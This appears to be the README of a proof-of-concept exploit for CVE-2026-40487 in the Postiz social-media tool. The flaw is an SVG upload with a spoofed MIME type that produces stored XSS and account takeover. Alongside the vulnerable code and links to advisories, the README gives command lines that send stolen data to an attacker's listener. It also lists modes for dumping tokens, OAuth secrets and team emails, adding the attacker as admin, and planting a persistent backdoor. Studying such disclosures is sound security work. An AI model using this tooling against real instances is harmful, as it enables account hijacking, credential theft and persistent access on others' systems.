
Preuve de concept pour CVE-2026-40487, démontrant un téléversement arbitraire de fichiers via une usurpation MIME menant à un XSS stocké et à une prise de contrôle de compte dans Postiz. Inclut plusieurs modes d'attaque pour l'exfiltration de données, l'élévation de privilèges et la persistance.
Découvert et signalé par : Astaruf
Analyse complète : https://nstsec.com/en/posts/postiz-xss-cve-2026-40487/
Entrée NVD : https://nvd.nist.gov/vuln/detail/CVE-2026-40487
Entrée GHSA : https://github.com/gitroomhq/postiz-app/security/advisories/GHSA-44wg-r34q-hvfx
Enregistrement CVE : https://www.cve.org/CVERecord?id=CVE-2026-40487
Postiz est un outil open-source de gestion des réseaux sociaux avec plus de 28 intégrations de plateformes (Instagram, X, LinkedIn, Facebook, TikTok, etc.), utilisé par plus de 600 instances exposées sur Internet.
Un attaquant disposant de faibles privilèges peut télécharger un fichier SVG (ou HTML) malveillant avec un en-tête Content-Type: image/png usurpé. Le serveur accepte le fichier sans inspecter son contenu réel, conserve l'extension d'origine, et nginx le sert avec le Content-Type dérivé de cette extension (image/svg+xml). Lorsqu'une victime ouvre l'URL, le JavaScript intégré s'exécute dans l'origine de l'application, donnant à l'attaquant des capacités complètes de détournement de session équivalentes à une prise de contrôle de compte.
La chaîne d'attaque :
L'attaquant télécharge un .svg avec Content-Type: image/png
-> Le serveur valide uniquement l'en-tête Content-Type (CWE-345)
-> Le fichier est enregistré sur le disque avec l'extension .svg d'origine (CWE-434)
-> nginx le sert comme image/svg+xml
-> Le navigateur exécute le JavaScript intégré (CWE-79)
-> Même origine : accès complet à la session de la victime
La charge utile XSS s'exécute dans la même origine que l'application. Même si le cookie d'authentification est HttpOnly, fetch() avec credentials: "include" l'attache automatiquement. L'attaquant peut :
pos_* qui n'expire jamais et survit aux changements de mot de passe)Trois composants échouent indépendamment, créant la chaîne d'exploitation :
libraries/nestjs-libraries/src/upload/custom.upload.validation.ts :
const validation =
(value.mimetype.startsWith('image/') ||
value.mimetype.startsWith('video/mp4')) &&
value.size <= maxSize;
value.mimetype provient de l'en-tête Content-Type de la requête multipart, que l'attaquant contrôle. Aucune inspection des octets magiques, aucune utilisation de bibliothèques comme file-type.
libraries/nestjs-libraries/src/upload/local.storage.ts :
const filePath = `${dir}/${randomName}${extname(file.originalname)}`;
writeFileSync(filePath, file.buffer);
extname(file.originalname) extrait l'extension du nom de fichier fourni par le client. Aucune vérification de cohérence entre le type MIME déclaré et l'extension. Le serveur renvoie également l'URL publique complète dans la réponse, ce qui permet à l'attaquant d'obtenir le lien à envoyer à la victime.
http {
include /etc/nginx/mime.types;
location /uploads/ {
alias /uploads/;
}
}
nginx associe .svg à image/svg+xml, .html à text/html. Pas de Content-Security-Policy, pas de X-Content-Type-Options: nosniff, pas de Content-Disposition: attachment.
Python 3.8+
pip install requests
# 1. Vérifier si la cible est vulnérable
python3 poc.py http://target:5000 -e [email protected] -p password --check
# 2. Exfiltrer tout depuis la victime
python3 poc.py http://target:5000 -e [email protected] -p password \
--lhost YOUR_IP -a full-dump
# 3. Créer une porte dérobée persistante
python3 poc.py http://target:5000 -e [email protected] -p password \
--lhost YOUR_IP -a create-oauth-app
# 4. Réutiliser le jeton sans identifiants
python3 poc.py http://target:5000 -t pos_XXXX...XXXX \
--lhost YOUR_IP -a full-dump
Attaquant Serveur Postiz Victime
| | |
|-- 1. Connexion/Inscription ->| |
|-- 2. Téléchargement SVG malveillant ->| |
|<---- URL du fichier ---------| |
|-- 3. Envoi de l'URL à la victime -------------------> |
| |<--- 4. Ouvre l'URL --- |
| |--- SVG + JS ---------> |
|<-------------- 5. JS s'exécute, exfiltre les données -|
| Mode | Description |
|---|---|
dump-self | Profil de la victime, infos d'organisation, niveau, clé API |
dump-personal | Nom d'affichage, bio, photo de profil |
dump-integrations | Intégrations de réseaux sociaux connectées et jetons |
dump-posts | Publications planifiées et brouillons (365 derniers jours) |
dump-team | Membres de l'équipe, rôles et adresses e-mail |
dump-media | Liste de la bibliothèque multimédia |
dump-notifications | Historique des notifications |
dump-signatures | Signatures de publications |
dump-webhooks | Webhooks configurés et leurs URL |
dump-oauth-app | Identifiants de l'application OAuth (clientId, secret) |
dump-copilot | Fils de conversation du copilote IA |
dump-billing | Informations de facturation et d'abonnement |
dump-settings | Paramètres de liens courts et de notifications |
dump-third-party | Configurations des intégrations tierces |
dump-autopost | Règles de publication automatique |
dump-sets | Ensembles de contenu |
dump-tags | Tags de publications |
dump-customers | Liste des clients |
full-dump | Tout ce qui précède dans une seule charge utile |
| Mode | Description |
|---|---|
add-admin | Inviter l'attaquant comme ADMIN dans l'org de la victime (--attacker-email) |
rotate-key | Pivoter la clé API de l'org et l'exfiltrer |
rotate-oauth | Pivoter le secret de l'application OAuth et l'exfiltrer |